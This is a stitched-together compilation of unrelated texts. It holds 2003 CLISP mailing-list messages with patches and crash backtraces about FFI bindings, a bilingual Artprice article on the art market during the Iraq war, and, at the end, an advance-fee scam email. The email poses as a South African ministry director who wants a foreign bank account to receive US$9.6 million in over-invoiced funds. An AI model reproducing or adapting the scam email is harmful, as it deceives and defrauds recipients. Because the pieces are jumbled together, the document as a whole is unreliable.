-             (regexp-split ,compiled-pattern ,line :start ,start :end ,end))
+             (regexp-split ,compiled-pattern ,line :start ,start :end ,end
+                           :eflags ,ef))
       ,@forms)))


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Yadin, please try CVS head again - it appears that the problem has been fixed.

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Cannot handle the fatal error due to a fatal error in the fatal error handler.


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* Scanning directory structure.
* Analyzing 73 added files.
* Analyzing 7 removed files.
* Determining move candidates.
* moving utils/unicode/ftp.unicode.org/UnicodeData.txt -> utils/unicode/UnicodeDataFull.txt (confidence 84%)
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Sam Steingold writes:
> > * In message <20030330004921.28E622377F@thalassa.informatimago.com>
> > * On the subject of "[clisp-list] regexp not extended ?"
> > * Sent on Sun, 30 Mar 2003 01:49:21 +0100 (CET)
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > Any reason in particular why REGEXP does not implement the flags that
> > are exported by mregcomp?  The lack of '+' is particularly painful in
> > non extended posix regexps...
>=20
> would you be happy with the appended patch?

Yes. Thank you  very much.  It works with 2.30 (well  I only tested it
with REGEXP:MATCH).

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Shouldn't the  reader functions for slots of  def-c-struct be exported
from LINUX?

[67]> (LINUX:|stat-st_ino| sbuf)
*** - READ from #<INPUT CONCATENATED-STREAM #<INPUT STRING-INPUT-STREAM> =
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[68]> (LINUX::|stat-st_ino| sbuf)
142158

Since  LINUX  export  the   |stat|  function  that  returns  a  |stat|
structure, it would seem logical to export the reader functions too.


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I successfully compiled cvs head on cygwin. Thank you. the problem has been 
solved.
Yadin.

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> * In message <20030330121357.ED85C237C9@thalassa.informatimago.com>
> * On the subject of "[clisp-list] exporting reader functions for slots?"
> * Sent on Sun, 30 Mar 2003 14:13:57 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Shouldn't the reader functions for slots of def-c-struct be exported
> from LINUX?

would you be happy with the appended patch?

actually, I am somewhat uneasy with this.
def-c-struct defines both a C struct and a LISP structure type.
how is this passed into the FFI?
i.e., suppose I create a passwd with linux:MAKE-passwd.
can I pass it to linux:putpwent?

I cannot check that because even=20
(linux::putpwent (linux:getpwent) linux:stdout)
crashes:

(gdb) where
#0  0x080b1283 in nls_asciiext_wcstombs (encoding=3D{one_o =3D 539610993}, =
stream=3D
      {one_o =3D 0}, srcp=3D0xbfff8de8, srcend=3D0x203dc16c, destp=3D0xbfff=
8de0,=20
    destend=3D0x404 <Address 0x404 out of bounds>) at encoding.d:1616
#1  0x081879a9 in convert_to_foreign (fvd=3D{one_o =3D 136519537}, obj=3D
      {one_o =3D 540918101}, data=3D0xbfff8fa0) at foreign.d:1848
#2  0x08187d45 in convert_to_foreign (fvd=3D{one_o =3D 540726929}, obj=3D
      {one_o =3D 540918233}, data=3D0xbfff8fa0) at foreign.d:1904
#3  0x08188e71 in convert_to_foreign_nomalloc (fvd=3D{one_o =3D 540726929},=
 obj=3D
      {one_o =3D 540918233}, data=3D0xbfff8fa0) at foreign.d:2174
#4  0x0818cf5b in C_foreign_call_out (argcount=3D2, rest_args_pointer=3D0x4=
01dc088)
    at foreign.d:3251
#5  0x0809d4eb in funcall_subr (fun=3D{one_o =3D 136474578}, args_on_stack=
=3D2)
    at eval.d:5229
#6  0x0809c94b in funcall (fun=3D{one_o =3D 136474578}, args_on_stack=3D3)
    at eval.d:4831
#7  0x0809a272 in eval_ffunction (ffun=3D{one_o =3D 540727585}) at eval.d:3=
900
#8  0x08097090 in eval1 (form=3D{one_o =3D 1745141891}) at eval.d:2978
#9  0x08096b90 in eval (form=3D{one_o =3D 1745141891}) at eval.d:2834
#10 0x0813adf7 in C_read_eval_print () at debug.d:309
#11 0x0809d599 in funcall_subr (fun=3D{one_o =3D 136456434}, args_on_stack=
=3D2)
    at eval.d:5232
#12 0x0809c9be in funcall (fun=3D{one_o =3D 136480085}, args_on_stack=3D2)
    at eval.d:4838
#13 0x080a0b8b in interpret_bytecode_ (closure=3D{one_o =3D 540264193},=20
    codeptr=3D0x2033c6d0,=20
    byteptr_in=3D0x2033c6e2 "=C5P\030.\001\024.\002\024.\003\024s\003\023.\=
004\0240\005\037\002.\006Q\031\001\031\001") at eval.d:6883
#14 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540264193},=20
    args_on_stack=3D0) at eval.d:5678
#15 0x0809c976 in funcall (fun=3D{one_o =3D 540264193}, args_on_stack=3D0)
    at eval.d:4833
#16 0x080ac32b in C_driver () at control.d:1903
#17 0x080a0cbe in interpret_bytecode_ (closure=3D{one_o =3D 540264237},=20
    codeptr=3D0x2033c688, byteptr_in=3D0x2033c69a "=C5\017\001=DC1U=A0=C63 =
\021\v")
    at eval.d:6889
#18 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540264237},=20
    args_on_stack=3D0) at eval.d:5678
#19 0x0809c976 in funcall (fun=3D{one_o =3D 540264237}, args_on_stack=3D0)
    at eval.d:4833
#20 0x080a1684 in interpret_bytecode_ (closure=3D{one_o =3D 540875949},=20
    codeptr=3D0x202cfcc8, byteptr_in=3D0x202cfcda "") at eval.d:6939
#21 0x0809e410 in funcall_closure (closure=3D{one_o =3D 540875949},=20
    args_on_stack=3D0) at eval.d:5678
#22 0x0809c976 in funcall (fun=3D{one_o =3D 540875949}, args_on_stack=3D0)
    at eval.d:4833
#23 0x0813b166 in driver () at debug.d:375
#24 0x0808df36 in main (argc=3D11, argv=3D0xbfffe174) at spvw.d:2963
#25 0x420154a0 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)=20

Joerg, what's up?!

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--- linux.lisp.~1.19.~	2003-03-29 10:02:55.000000000 -0500
+++ linux.lisp	2003-03-30 15:43:39.000000000 -0500
@@ -105,11 +105,30 @@
                  `(progn
                     (defmacro ,new-macro-name (name &rest more)
                       `(progn
-                         (export ',(if (consp name) (car name) name))
+                         (export ',name)
                          (,',original-macro-name ,name ,@(sublis substitut=
ion more))
                        )
                   ) )
              ) )
+             (exporting-slots (defining-macro-name)
+               (let ((original-macro-name (intern (string-upcase defining-=
macro-name) "FFI"))
+                     (new-macro-name (intern defining-macro-name "LINUX")))
+                 `(defmacro ,new-macro-name (name &rest more)
+                    (let ((sname (if (consp name) (car name) name)))
+                      `(progn
+                         (export '(,sname
+                                   ,@(let ((cname (sys::string-concat
+                                                   (symbol-name sname) "-"=
)))
+                                       (list*
+                                        (sys::concat-pnames "COPY-" cname)
+                                        (sys::concat-pnames "MAKE-" cname)
+                                        (sys::concat-pnames cname "-P")
+                                        (mapcar (lambda (slot)
+                                                  (sys::concat-pnames
+                                                   cname (car slot)))
+                                                more)))))
+                         (,',original-macro-name
+                          ,name ,@(sublis substitution more)))))))
              (normal (defining-macro-name)
                (let ((original-macro-name (intern (string-upcase defining-=
macro-name) "FFI"))
                      (new-macro-name (intern defining-macro-name "LINUX")))
@@ -125,7 +144,7 @@
     (exporting "define-symbol-macro")
     (exporting "def-c-type")
     (exporting "def-c-enum")
-    (exporting "def-c-struct")
+    (exporting-slots "def-c-struct")
     (exporting "def-c-var")
     (exporting "def-call-out")
     (normal "c-lines")


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<h3>&quot;&#133;this time the art market will not be a war victim&quot;</h3>
<div align="center">by Thierry Ehrmann<br>
The Artprice founder
<DIV align="right"><A href="#fr"><FONT size="1">[en fran&ccedil;ais]</FONT></A> </DIV>
</div></td></tr></table>
<table width="560"><tr valign="top">
<td width="135"> <A href="http://web.artprice.com/EN/AMI/AMI.aspx?id=MzU1MTM0Mzk3ODA3OTk="> 
<img src="http://web.artprice.com/img/b/e/tew1.jpg" border="0"></A></td>
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<h4>Every Art Market player has in mind the crash that hit the market during the first 
Gulf war. How do people feel about the current situation?</h4>
<p>War in Iraq stirs up bad memories. The first Gulf war in 1991 triggered a dismal 
slump in the art market.</p>
<p>Between 1985 and 1990, on the eve of the Iraqi invasion of Kuwait, the art market 
was riding high on a speculative bubble. Price-setting at the time was very subjective. 
Buyers and sellers were starved of information and tended to act on behaviour and 
rumours traceable to a very small number of market players. Bidding battles by Japan's 
<i>Ryoei Saito</i> for the odd <i>Van Gogh</i> or <i>Renoir</i> were read as indicative 
of the general trend even though such million-plus sales only made up a thousandth 
of the market.</p>
<p>In the aftermath of the Gulf war, record sales dried up. Investors, reasonably 
enough, read this as a sign that the market had run out of steam and got out. Worse 
still, 1991 was not so much a quick crash as the start of a drawn-out slump that was 
to last nearly five years. Most market professionals reacted stoically, saying nothing, 
doing nothing and going down with the ship. </p>
<br>
<div align="right"><font size="1">&copy;&nbsp;Artprice 2003</font></div>
</td></tr></table>
<table width="570"><tr valign="top"><td>
<p><b>Evolution of prices for <br>
the art market</b></p>
<p><font size="1">Artprice Global Index</font><br>
<font size="1">(base 1997=100)</font></p></td>
<td align="right" width="452"> <A href="http://web.artprice.com/EN/AMI/AMI.aspx?id=MzU1MTM0Mzk3ODA3OTk="> 
<img src="http://web.artprice.com/img/B/E/crbwrEN.gif" width="450" height="259" align="top" border="0"></A></td>
</tr></table>
<table width="560"><tr valign="top"><td width="135">&nbsp;</td><td>
<h4><br>
Why the long slump? </h4>
<p>In the early nineties the art market had no reliable source of real-time information 
comparable to the stock market. Remember that, not so long ago, if you wanted to find 
an artist's benchmark price you had to flick through thick books and even then you 
would only find a sample of results from the previous year. Viewed through this lens 
the slide in prices at the start of the nineties looked like a catastrophe.<br>
Only a small circle of market insiders continued to trade in the market in a well-informed 
and risk-free way.<br>
</p>
<h4>Will the present war bring another catastrophe?</h4>
<p>Twelve years on, the geopolitical and economic backdrop is similar, even worth, 
but I am convinced that this tragic piece of history is not about to repeat itself.</p>
<p>The creation of Artprice has given the market a catalyst in the shape of fluid, 
instantaneous, worldwide information driven by the latest technology. Our data are 
accessible cheaply online - 92% of art professionals have internet access - and underpin 
the dynamism and hence the health of the market. </p>
<p>The price of artworks has been rising for 7&nbsp;years on a regular and objective 
manner. Any risk of irrational speculation has now been ruled out.</p>
<p>In 2003, unlike the last decade, the art market has taken on the trappings of a 
true regulated market. A new transparency has modernised the market. Internet access 
with 700&nbsp;million internet users has democratised the market, stimulating even 
more transactions.</p>
<p>The rules of the game have got tougher but in the new more rational and fiercer 
market, among the million professionals and 9&nbsp;million art lovers and collectors, 
the only survivors will be those who can access exact information.<br>
<br>
</p>
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<table width="560"><tr><td><a name="fr"></a><a href="#En"><font face="Arial" size="2">[In English]</font></a> 
<font face="Arial" size="2"><b></b></font> 
<h3>&quot;&#133; j'ai la conviction <br>
que le march&eacute; de l'art ne sera plus victime de guerre&quot;</h3>
<div align="center">par Thierry Ehrmann<br>
Fondateur de Artprice</div></td></tr></table>
<table width="560"><tr valign="top">
<td width="135"> <A href="http://web.artprice.com/FR/AMI/AMI.aspx?id=MTg5NzUwNTA0NDQ4OTk="> 
<img src="http://web.artprice.com/img/b/e/tew1.jpg" border="0"></A></td>
<td> 
<h4>Que vous inspire, dans le contexte actuel, le krach qu'a v&eacute;cu le march&eacute; 
de l'art lors de la premi&egrave;re guerre du Golfe&nbsp;? </h4>
<p>La guerre en Irak ressuscite en effet les douloureux souvenirs de la descente aux 
enfers dans laquelle le march&eacute; de l'art avait &eacute;t&eacute; entra&icirc;n&eacute; 
en 1991 avec la premi&egrave;re guerre du Golfe.</p>
<p>Rappelons-nous qu'entre 1985 et 1990, avant l'invasion du Kowe&iuml;t, le march&eacute; 
de l'art avait d&eacute;velopp&eacute; une bulle sp&eacute;culative. La d&eacute;termination 
des prix, &agrave; cette &eacute;poque, &eacute;tait tr&egrave;s subjective. Par manque 
d'information, les choix des acheteurs et des vendeurs reposaient sur les comportements 
et les rumeurs d'un petit nombre d'acteurs. Les quelques duels d'ench&egrave;res remport&eacute;s 
par le Japonais <i>Saito</i> pour tel <i>Van Gogh</i> ou tel <i>Renoir</i> servaient 
de r&eacute;f&eacute;rence &agrave; l'ensemble du march&eacute;. Pourtant, ces ench&egrave;res 
millionnaires ne repr&eacute;sentent qu'1/1000&egrave;me des ventes.</p>
<p>L'apr&egrave;s guerre du Golfe fut ensuite marqu&eacute; par l'absence de records. 
Les investisseurs y virent logiquement le signe d'un essoufflement du march&eacute; 
et l'abandonn&egrave;rent. Pire ! 1991 ne fut pas un krach, le march&eacute; subit 
une lente agonie qui perdura pr&egrave;s de 5 ans. La ligne de conduite des professionnels 
se r&eacute;suma &agrave; ne rien dire, ne rien faire et mourir en silence !</p>
<br>
<div align="right"><font size="1">&copy;&nbsp;Artprice 2003</font> </div>
</td></tr></table><table width="570"><tr valign="top"><td>
<p><b>Evolution <br>
des prix sur <br>
le march&eacute; <br>
de l'art</b></p>
<p><font size="1">Artprice Global Index</font><br>
<font size="1">(base 1997=100)</font></p>
</td>
<td align="right" width="452"> <A href="http://web.artprice.com/FR/AMI/AMI.aspx?id=MTg5NzUwNTA0NDQ4OTk="> 
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</tr></table>
<table width="560"><tr valign="top"><td width="135">&nbsp;</td>
<td><h4><br>
Quelle est la cause de cette longue agonie ? </h4>
<p>Le march&eacute; de l'art ne disposait pas du tout de syst&egrave;me d'information 
fiable et instantan&eacute; sur le mod&egrave;le boursier. Souvenez-vous qu'&agrave; 
cette &eacute;poque, pas si lointaine, pour obtenir une cote, on ne pouvait que consulter 
de gros livres pr&eacute;sentant juste un &eacute;chantillon des r&eacute;sultats 
des ventes de l'ann&eacute;e pr&eacute;c&eacute;dente ! La chute des prix au d&eacute;but 
des ann&eacute;es 90 a pris des allures de catastrophe.<br>
Seul le cercle des initi&eacute;s a continu&eacute; &agrave; alimenter le march&eacute; 
de mani&egrave;re &eacute;clair&eacute;e et sans risque.</p>
<h4>Cette guerre ne va-t-elle pas conduire &agrave; la m&ecirc;me catastrophe ?</h4>
<p>12 ans plus tard, dans un contexte g&eacute;opolitique et &eacute;conomique semblable, 
voire pire, je suis persuad&eacute; que cette histoire tragique ne se r&eacute;p&eacute;tera 
pas.</p>
<p>La cr&eacute;ation d'Artprice a apport&eacute; au march&eacute; de l'art ce catalyseur 
qu'est l'information fluide, instantan&eacute;e et mondiale, appuy&eacute;e par les 
nouvelles technologies. Accessibles &agrave; moindre co&ucirc;t sur Internet (92% 
des professionnels de l'art ont une connexion Internet), nos donn&eacute;es soutiennent 
le dynamisme du march&eacute;, garantissant sa survie. </p>
<p>Les prix des &#156;uvres d'art ont progress&eacute; depuis 7&nbsp;ans, et ce, de 
mani&egrave;re r&eacute;guli&egrave;re et objective. Tout risque de sp&eacute;culation 
irrationnelle est d&eacute;sormais &eacute;cart&eacute;. </p>
<p>En 2003, contrairement &agrave; la d&eacute;cennie ant&eacute;rieure, le march&eacute; 
de l'art s'affirme comme un vrai march&eacute; r&eacute;glement&eacute;. La nouvelle 
donne, sa transparence, l'a rendu &quot;moderne&quot; et le concours d'Internet et 
de ses 700&nbsp;millions de connect&eacute;s l'a d&eacute;mocratis&eacute;, favorisant 
toujours plus de transactions.</p>
<p>La partie sera dure, mais dans ce march&eacute; plus rationnel et f&eacute;roce 
que jamais, seuls, parmi le million de professionnels et les 9&nbsp;millions d'amateurs 
et collectionneurs, survivront les acteurs de l'art parfaitement inform&eacute;s.</p>
<p><br>
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Date: Tue Apr  1 06:07:12 2003
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Hi,

>Joerg, what's up?!
I don't know. I still have to manage to build a CLISP with modules on =
Linux (no, no help needed for now).

Please tell me if combinations of these work for you:
A:> (linux:fprintf0 linux:stdout "hi")


B:FFI[97]> (with-foreign-object (x 'passwd (make-passwd :pw_name "name" =
:pw_passwd "pw" :pw_uid 1 :pw_gid 2 :pw_gecos "geck" :pw_dir "/root/" =
:pw_shell "Bourne")) (print (foreign-type x)) (describe =
x)(foreign-value x))

#(C-STRUCT #(PW_NAME PW_PASSWD PW_UID PW_GID PW_GECOS PW_DIR PW_SHELL)
  #<COMPILED-CLOSURE :LAMBDA> C-STRING C-STRING UINT UINT C-STRING =
C-STRING
  C-STRING)=20

#<FOREIGN-VARIABLE "FOREIGN-VARIABLE" #x0032A5AC> is a foreign variable =
of=20
foreign type=20
(C-STRUCT NIL (PW_NAME C-STRING) (PW_PASSWD C-STRING) (PW_UID UINT)
 (PW_GID UINT) (PW_GECOS C-STRING) (PW_DIR C-STRING) (PW_SHELL =
C-STRING)).

#S(PASSWD :PW_NAME "name" :PW_PASSWD "pw" :PW_UID 1 :PW_GID 2 :PW_GECOS =
"geck"
   :PW_DIR "/root/" :PW_SHELL "Bourne")

That tests conversion from and to foreign world, without any foreign =
function.

C:
#0  0x080b1283 in nls_asciiext_wcstombs (encoding=3D{one_o =3D =
539610993},
What is your custom:*default-foreign-encoding*? ASCII?

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Date: Tue Apr  1 06:07:14 2003
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Hi,

I have the feeling that CLISP's Makefile does a little too much =
auto/cyclic-magic/detection/regeneration or whatever. This seems to =
cause -n to become useless.

How comes that make -n reports lots of things to be done, when the =
actual make eventually does next to nothing?

build-gcc> make lisp.run             =20
sh config.status --header=3Dunixconf.h =20
config.status: creating unixconf.h   =20
config.status: unixconf.h is unchanged

compare with

build-gcc> make -n lisp.run                                             =
                =20
sh config.status --header=3Dunixconf.h                                  =
                  =20
gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith =
-Wimplicit -Wreturn-type
  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMI
C_FFI -DDYNAMIC_MODULES -x none genclisph.o -o genclisph                =
                =20
(echo '#ifndef _CLISP_H' ; echo '#define _CLISP_H' ; echo ; grep '^#' =
unixconf.h ; echo ;
 grep '^#' intparam.h ; echo ; ./genclisph ; echo ; echo '#endif /* =
_CLISP_H */') > clisp
.h                                                                     =
                 =20
rm -f genclisph                                                         =
                =20
gcc -I/home/hoehle/include -W -Wswitch -Wcomment -Wpointer-arith =
-Wimplicit -Wreturn-type
  -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations =
-DUNICODE -DDYNAMI
C_FFI -DDYNAMIC_MODULES -c modules.c                                    =
                =20
...

[Background: I'm fed up with CLISP regenerating all *.fas/*.mem when =
they are not needed, while I'm playing with modules. Of course, =
Makefile cannot know when it's superfluous, so it plays it safe. How =
can I build a module without having every *.fas/*.mem rebuilt? ]

Thanks,
	J=F6rg H=F6hle.


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Hi,

linux:stdin etc. support seems broken (clisp-2.30):

linux.lisp says:
(def-c-var _IO_stdin_ (:type c-pointer))
(def-c-var _IO_stdout_ (:type c-pointer))
(def-c-var _IO_stderr_ (:type c-pointer))
(define-symbol-macro stdin _IO_stdin_)
(define-symbol-macro stdout _IO_stdout_)
(define-symbol-macro stderr _IO_stderr_)

As a result, linux.c contains:
extern void* _IO_stdin_;=20
extern void* _IO_stdout_;
extern void* _IO_stderr_;
  =
register_foreign_variable(&_IO_stdin_,"_IO_stdin_",0,sizeof(_IO_stdin_))=
;  =20
  =
register_foreign_variable(&_IO_stdout_,"_IO_stdout_",0,sizeof(_IO_stdout=
_));
  =
register_foreign_variable(&_IO_stderr_,"_IO_stderr_",0,sizeof(_IO_stderr=
_));

But I found only (no trailing '_'):
> find /usr/include/. -type f -exec fgrep -Hn IO_std {} \;
/usr/include/./libio.h:330:#define _IO_stdin =
((_IO_FILE*)(&_IO_2_1_stdin_)) =20
/usr/include/./libio.h:331:#define _IO_stdout =
((_IO_FILE*)(&_IO_2_1_stdout_))
/usr/include/./libio.h:332:#define _IO_stderr =
((_IO_FILE*)(&_IO_2_1_stderr_))
/usr/include/./libio.h:334:extern _IO_FILE *_IO_stdin;                  =
    =20
/usr/include/./libio.h:335:extern _IO_FILE *_IO_stdout;                 =
    =20
/usr/include/./libio.h:336:extern _IO_FILE *_IO_stderr;                 =
    =20
/usr/include/./libio.h:479:  (__builtin_expect (&_IO_stdin_used =3D=3D =
NULL, 0))=20
/usr/include/./libio.h:480:extern const int _IO_stdin_used;             =
    =20
/usr/include/./libio.h:481:weak_extern (_IO_stdin_used);

yet linux.c was compilable, and linkable.
However linux:stdout appears unusable (core dump)

What's going on? Where's the pointer to stdin/stdout/stderr coming =
from?


FFI[13]> (linux:fprintf0 linux:stdout "hi")                             =
                                                   =20
*** - handle_fault error2 ! address =3D 0xFBAD20CA not in =
[0x68057E50,0x68086000) !
SIGSEGV cannot be cured. Fault address =3D 0xFBAD20CA.                  =
          =20
Segmentation fault

while this works:
(linux:printf0 (coerce '(#\a #\newline) 'string))

Thanks for enlightment,
	J=F6rg H=F6hle.


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Sam Steingold wrote:
>I cannot check that because even=20
>(linux::putpwent (linux:getpwent) linux:stdout)
>crashes:

Here's a rant on random quality of Linux Manpage documentation, as I =
happen to experiment a little with Linux (instead of Solaris):

1. Please tell me, after reading the manpage(s), the extent of the =
validity of the pw_* string areas returned by getpwent() -- i.e. how =
long will these point to valid content?
 o until the next system call?
 o until the next call to getpwent()?
 o until the call to endpwent()?
 o program exit?
 o other?

At least, the Solaris manpages mention getpwent_r() which does not =
suffer from any of these underspecifications.


2. Please note the following differences between Solaris and Linux:
2.A: Solaris:
     The putpwent() function is the inverse  of  getpwent().  See
     getpwnam(3C).  Given a pointer to a passwd structure created
     by getpwent(), getpwuid(), or getpwnam(), putpwent()  writes
     a   line  on  the  stream  f [...]
Strict interpretation of this means that putpwent() behaviour is =
undefined when given an arbitrary pointer to memory not obtained from =
getpwent/getpwuid/getpwnam().
E.g. Sam's use of (linux::putpwent (linux:getpwent) linux:stdout)
is illegal on Solaris under this strict interpretation
(CLISP FFI day-2 level question: why?).
Linux:
  no such restriction is mentioned.
Of course, I'll bet it nevertheless works on Solaris.

2.B: Solaris:
     setpwent() sets (or resets) the enumeration to the beginning
     of  the  set  of  password entries.  This function should be
     called  before  the  first  call  to  getpwent().
Linux:
       The  getpwent()[...]   The  first time it is called it returns =
the
       first entry; thereafter, it returns successive entries.
  I found no notice of similar restriction
"should be called" (Solaris) means?
 - code not calling setpwent() has unspecified behaviour?
 - ... ?


3. Please tell me, after reading the manpage(s), if the following code =
is correct:
pwent =3D getpwent();
if (0 !=3D errno) { perror...; abort(); }
/* at this point pwent holds either a valid entry or NULL for EOF =
-sure? */

This errno question is truly more general:
i) is errno guaranteed to be set to 0 after successful function =
execution?
ii) Or is it only legal to inspect errno after a function returned some =
error indication?
iii) Can/Will functions set errno only on error?


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D17@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] trying to make use of make -n"
> * Sent on Tue, 1 Apr 2003 14:12:59 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> [Background: I'm fed up with CLISP regenerating all *.fas/*.mem when
> they are not needed, while I'm playing with modules. Of course,
> Makefile cannot know when it's superfluous, so it plays it safe. How
> can I build a module without having every *.fas/*.mem rebuilt? ]

if all you changed is the modules (i.e., not src/*), all you need to do
is

$ rm -rf full && make full
...
$ ./clisp -K full

and this will recompile only the modules that you changed.

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D5B@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] exporting reader functions for slots?"
> * Sent on Tue, 1 Apr 2003 14:59:18 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> A:> (linux:fprintf0 linux:stdout "hi")

[1]> (linux:fprintf0 linux:stdout "hi")

*** - handle_fault error2 ! address = 0xfbad20ca not in [0x6803d8a0,0x68089000) !
SIGSEGV cannot be cured. Fault address = 0xfbad20ca.
Segmentation fault

> B:FFI[97]> (with-foreign-object (x 'passwd (make-passwd :pw_name "name" :pw_passwd "pw" :pw_uid 1 :pw_gid 2 :pw_gecos "geck" :pw_dir "/root/" :pw_shell "Bourne")) (print (foreign-type x)) (describe x)(foreign-value x))

[17]> (ffi:with-foreign-object (x 'linux:passwd (linux::|MAKE-passwd| :|pw_name| "name" :|pw_passwd| "pw" :|pw_uid| 1 :|pw_gid| 2 :|pw_gecos| "geck" :|pw_dir| "/root/" :|pw_shell| "Bourne")) (print (ffi::foreign-type x)) (describe x)(ffi:foreign-value x))

#(FFI:C-STRUCT LINUX:passwd (:EXTERNAL)
  #(LINUX::pw_name LINUX::pw_passwd LINUX::pw_uid LINUX::pw_gid LINUX::pw_gecos
    LINUX::pw_dir LINUX::pw_shell)
  #<COMPILED-CLOSURE :LAMBDA> FFI:C-STRING FFI:C-STRING FFI:UINT FFI:UINT
  FFI:C-STRING FFI:C-STRING FFI:C-STRING) 

#<FOREIGN-VARIABLE "FOREIGN-VARIABLE" #xBFFF8F10> is a foreign variable of 
foreign type 
(FFI:C-STRUCT LINUX:passwd (:EXTERNAL) (LINUX::pw_name FFI:C-STRING)
 (LINUX::pw_passwd FFI:C-STRING) (LINUX::pw_uid FFI:UINT)
 (LINUX::pw_gid FFI:UINT) (LINUX::pw_gecos FFI:C-STRING)
 (LINUX::pw_dir FFI:C-STRING) (LINUX::pw_shell FFI:C-STRING)).
#S(LINUX:passwd :|pw_name| "name" :|pw_passwd| "pw" :|pw_uid| 1 :|pw_gid| 2
   :|pw_gecos| "geck" :|pw_dir| "/root/" :|pw_shell| "Bourne")

> #0  0x080b1283 in nls_asciiext_wcstombs (encoding={one_o = 539610993},
> What is your custom:*default-foreign-encoding*? ASCII?

[23]> custom:*foreign-encoding*
#<ENCODING CHARSET:ISO-8859-1 :UNIX>

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_?"
> * Sent on Tue, 1 Apr 2003 15:24:54 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
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> linux:stdin etc. support seems broken

I suspect that this mess is similar to errno.

> (clisp-2.30):

please use CVS head.
I created a nightly source snapshot and diffs specifically for you!

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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D39@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] exporting reader functions for slots? - rant on quality of Linux manpages"
> * Sent on Tue, 1 Apr 2003 14:34:51 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >I cannot check that because even 
> >(linux::putpwent (linux:getpwent) linux:stdout)
> >crashes:
> 
> Here's a rant on random quality of Linux Manpage documentation, as I
> happen to experiment a little with Linux (instead of Solaris):

linux manpages are considered obsolete.
use info (in emacs, xterm or your web browser).


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> * In message <9F8582E37B2EE5498E76392AEDDCD3FE033C5D75@G8PQD.blf01.telekom.de>
> * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_?"
> * Sent on Tue, 1 Apr 2003 15:24:54 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> linux:stdin etc. support seems broken (clisp-2.30):

with the appended patch:

[1]> (linux:fprintf0 linux:stdout (format nil "hi~%"))
hi
3
[2]> (linux:getpwent)
#S(LINUX:passwd :|pw_name| "root" :|pw_passwd| "x" :|pw_uid| 0 :|pw_gid| 0
   :|pw_gecos| "root" :|pw_dir| "/root" :|pw_shell| "/bin/bash")
[3]> (linux::putpwent (linux:getpwent) linux:stdout)

*** - handle_fault error2 ! address = 0x0 not in [0x20228000,0x203673ac) !
SIGSEGV cannot be cured. Fault address = 0x0.
Segmentation fault


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--- linux.lisp.~1.19.~	2003-03-29 10:02:55.000000000 -0500
+++ linux.lisp	2003-04-01 09:59:38.000000000 -0500
@@ -1795,12 +1815,9 @@
 
 (defconstant P_tmpdir "/tmp")
 
-(def-c-var _IO_stdin_ (:type c-pointer))
-(def-c-var _IO_stdout_ (:type c-pointer))
-(def-c-var _IO_stderr_ (:type c-pointer))
-(define-symbol-macro stdin _IO_stdin_)
-(define-symbol-macro stdout _IO_stdout_)
-(define-symbol-macro stderr _IO_stderr_)
+(def-c-var stdin (:type c-pointer))
+(def-c-var stdout (:type c-pointer))
+(def-c-var stderr (:type c-pointer))
 
 (def-call-out clearerr (:arguments (fp c-pointer)) (:return-type nil))
 (def-call-out fclose (:arguments (fp c-pointer)) (:return-type int))


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 I am DR=2E Jerry Mkhalele=2C Director of Project=2C South Africa Ministry of Mining & Natural Resources=2E I am making this contact with you based on the committee's need for an individual=2Fcompany who is willing to assist us with a solution to a money transfer=2E First and foremost=2C I apologized using this medium to reach you for a transaction=2Fbusiness of this magnitude=2C but this is due to Confidentiality and prompt access reposed on this medium=2E In unfolding this proposal=2C I want to count on you=2C as a respected and honest person to handle this transaction with sincerity=2C trust and confidentiality=2E I have decided to seek a confidential co-operation with you in the execution of the deal described Hereunder for the benefit of all parties and hope you will keep it as a top secret because of the nature ofthis transaction=2E Within the Ministry of Mining and Natural resources where I work as Director of Project Implemention and with the cooperation of four other top officials=2C we have in our possession as overduepayment bills totaling Nine Million=2C Six Hundred Thousand UnitedStates Dollars =28US$9=2C600=2C000=2E=29 which we want to transfer abroad with the assistance and cooperation of a foreign company=2Findividual to receive the said fund on our behalf or a reliable foreign non-company account to receive such funds=2E More so=2C we are handicapped in the circumstances=2C as the South Africa Civil Service Code of Conduct does not allow us to operate offshore account hence your importance in thewhole transaction=2E This amount $9=2E6m represents the balance of the total contract value executed on behalf of my Department by a foreign contracting firm=2C which we the officials over-invoiced deliberately=2E Though the actual contract cost have been paid to the original contractor=2C leaving the balance in the tune of the said amount which we have in principles gotten approval to remit by Key tested Telegraphic Transfer =28K=2ET=2ET=29 to any foreign bank account you will provide by filing in an application through the Ministry of Justice here in South Africa for the transfer of rights and privileges of the former contractor to you=2E I have the authority of my partners involved to propose that should you be willing to assist us in the transaction=2C your share of the sum will be 20% of the $9=2E6 million=2C 70% for us and 5% for taxation and miscellaneous expenses while the remaining 5% will go to charity organizatio=2E The business itself is 100% safe=2C on your part provided you treat it with utmost secrecy and confidentiality=2E Also your area of specialization is not a hindrance to the successful execution of this transaction=2E I have reposed my confidence in you and hope that you will not disappoint me=2E Endeavor to contact me 